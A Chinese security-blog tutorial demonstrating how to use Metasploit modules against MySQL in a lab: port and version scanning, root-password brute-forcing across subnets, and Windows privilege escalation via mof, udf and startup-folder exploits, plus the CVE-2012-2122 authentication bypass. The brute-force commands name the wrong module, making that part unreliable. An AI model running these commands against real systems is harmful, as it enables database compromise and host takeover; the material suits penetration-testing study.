利用Msf辅助模块检测和渗透Mysql
作者:admin | 时间:2017-10-27 02:14:32 | 分类:黑客技术 隐藏侧边栏展开侧边栏
Metasploit在安全界简称msf,而不是网上的一个也叫msf的Misfits战队。Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具,分为免费版和收费版本,其官方地址为:https://www.metasploit.com/,在早期的BT渗透平台以及Kali、pentestbox中都配备有Metasploit。
0x01前言
1、相关资源
(1) metasploit的github项目:https://github.com/rapid7/metasploit-framework
(2)metasploit帮助文档:https://metasploit.help.rapid7.com/docs/getting-started
(3)Metasploit渗透测试魔鬼训练营:
https://pan.baidu.com/s/1mgib7b6#list/path=%2F
(4)metasploit 漏洞模拟器:https://github.com/rapid7/metasploit-vulnerability-emulator
2、测试环境
(1)渗透平台:kali linux2.x
(2)靶场平台:Windows2003SP2+phpstduy+ComsenzEXP_X25GBK+Mysql5.1.68
3、Metasploit下所有Mysql辅助、扫描以及漏洞利用模块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
auxiliary/admin/mysql/mysql_enum MySQL枚举模块
auxiliary/admin/mysql/mysql_sql MySQL SQL查询
auxiliary/analyze/jtr_mysql_fast John the Ripper 破解MySQL密码
auxiliary/scanner/mysql/mysql_authbypass_hashdump MySQL密码认证绕过
auxiliary/scanner/mysql/mysql_file_enum MYSQL 文件/目录枚举
auxiliary/scanner/mysql/mysql_hashdump MYSQL 密码哈希值获取
auxiliary/scanner/mysql/mysql_login MySQL登录验证暴力破解模块
auxiliary/scanner/mysql/mysql_schemadump MYSQL Schema 导出
auxiliary/scanner/mysql/mysql_version MySQL信息枚举
auxiliary/scanner/mysql/mysql_writable_dirs MYSQL目录可写测试
auxiliary/server/capture/mysql 捕获MySQL认证凭证
exploit/linux/mysql/mysql_yassl_getname yaSSL CertDecoder::GetName溢出漏洞
exploit/linux/mysql/mysql_yassl_hello MySQL yaSSL SSL Hello 消息溢出漏洞
exploit/windows/mysql/mysql_mof windows mof提权
exploit/windows/mysql/mysql_payload windows上传漏洞提权
exploit/windows/mysql/mysql_start_up windows启动项提权
exploit/windows/mysql/mysql_yassl_hello MySQL yaSSL SSL Hello 消息溢出exploit/windows/mysql/scrutinizer_upload_exec Plixer Scrutinizer NetFlow和sFlow分析器9 MYSQL默认凭据上传执行
经过实际测试,黑色加粗模块使用效果较好。
|
0x02渗透思路
利用Metasploi渗透的思路遵循网络渗透的思路:
1.信息收集,收集目标IP地址。
2.端口信息收集与扫描,对目标IP的地址或者IP段进行数据库端口扫描。
3.对开放Mysql数据库的IP地址或者IP地址段进行密码暴力破解。
4.对破解成功的Mysql数据库进行漏洞利用和提权。
0x03信息获取
1、msf快速搜索关键字
本次主要利用kali平台进行msf演示,在kali中快速搜索漏洞需要手动进行更新及进行相应的处理,否则搜索漏洞时间非常长,kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。
在kali 2.0中启动带数据库支持的MSF方式如下:
(1)首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
(2)初始化MSF数据库:msfdb init;
(3)运行msfconsole:msfconsole;
(4)建立db_rebuild_cache
db_rebuild_cache
(5)在msf中查看数据库连接状态:
db_status
(6)数据库重建完毕后使用search keystring速度就会特别快。
2、端口信息收集
(1)nmap扫描端口信息,获取扫描IP地址3306端口开放情况以及mac地址信息,如图1所示。执行命令:nmap -p 3306 192.168.157.130
图1扫描端口
(2)扫描mysql数据以及端口信息,获取数据库版本,如图2所示。
nmap --script=mysql-info 192.168.157.130
图2获取mysql数据库版本以及端口信息
(3)查看mysq版本信息
1
2
3
|
use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.157.130
run
|
options或者info查看配置信息或者详细信息。
rhosts:目标IP(可以是单个IP,也可以是一个网段192.168.157.1-255 or 192.168.1.0/24,或者文件/root/ip_addresses.txt)
THREADS:线程数,默认为1,一般默认即可,Msf发现存在mysql数据库的会以绿色+显示,如图3所示。
图3 mysql版本扫描
0x04密码破解
1、msf密码破解mysql_login
利用模块为辅助模块auxiliary/admin/mysql/mysql_sql,其模块主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数,其中部分参数需要设置。
对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD或者PASS_FILE
(1)场景1:内网获取root某一个口令
1
2
3
4
5
|
use auxiliary/admin/mysql/mysql_sql
set RHOSTS 192.168.157.1-254
set password root
set username root
run
|
执行后对192.168.157.1-254进行mysql用户名为root,密码为root的扫描验证,执行效果如图4所示。
图4Msf扫描mysql单一密码
(2)场景2:使用密码字典进行扫描
1
2
3
4
5
|
use auxiliary/admin/mysql/mysql_sql
set RHOSTS 192.168.157.1-254
set pass_file “/root/top10000pwd.txt”
set username root
run
|
说明:如果通过扫描暴力破解成功,msf会将该用户名和密码保存在session中。
0x05尝试Mysql提权
Metasploit下对Mysql在Linux操作系统下的提权支持较少,针对Windows提权有三个。
(1)mof提权
1
2
3
4
5
|
use exploit/windows/mysql/mysql_mof
set rhost 192.168.157.1
set rport 3306
set password root
set username root
|
还需要设置本地反弹的计算机ip及端口
Mysql 5.0.22 测试mof提权未成功
mysql 5.5.53(phpstudy) 测试mof提权未成功。
5.1.68-community MySQL Community Server测试mof提权成功。
图5 mof提权成功
(2)udf提权
1
|
use exploit/windows/mysql/mysql_payload
|
跟--secure-file-priv选项和mysql版本有关
(3)程序启动项提权
1
|
exploit/windows/mysql/mysql_start_up
|
对中文版本支持效果较差,需要设置startup_folder,默认是英文路径,经过更改为中文路径,测试未成功。
set startup_folder "/Documents and Settings/All Users/「开始」菜单/程序/启动/
0x06其它溢出漏洞
Metasploit中还有一些mysql的溢出漏洞,但有具体场景要求,可以在实际渗透时进行实际测试,其参数设置比较简单,通过info或者options进行查看,使用set命令进行设置,后续漏洞利用就不赘述。
1、Mysql身份认证漏洞及利用(CVE-2012-2122)
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
2、exploit/windows/mysql/mysql_yassl_hello
3、exploit/windows/mysql/scrutinizer_upload_exe
0x07技巧
使用全局变量,内网渗透时比较好用,具体命令为:
1
2
3
4
|
setg rhost 192.168.1-254
setg username root
setg password root
save
|
以上命令将设置rhost、username、password为全局变量,设置完毕后将保存在/root/.msf4/config文件中。使用unsetg命令解除全局变量设置:
1
2
3
4
|
unsetg rhost
unsetg username
unsetg password
save
|
0x08思考与总结
Metasploit下mysql提权主要环境针对英文版,对中文版本提权相对效果较差,需要更改其默认的文件夹选项等。在实际环境中可以下载pentestbox带Metasploit的版本来实施渗透。总的来说针对Mysql的渗透,Msf功能很强大,有的漏洞可以直接获取shell,可以在shell的基础上直接进行提权。
类似文章参见安全脉搏 《利用Metasploit来攻击Mysql 》
本文作者:simeon
本文属于安全脉搏原创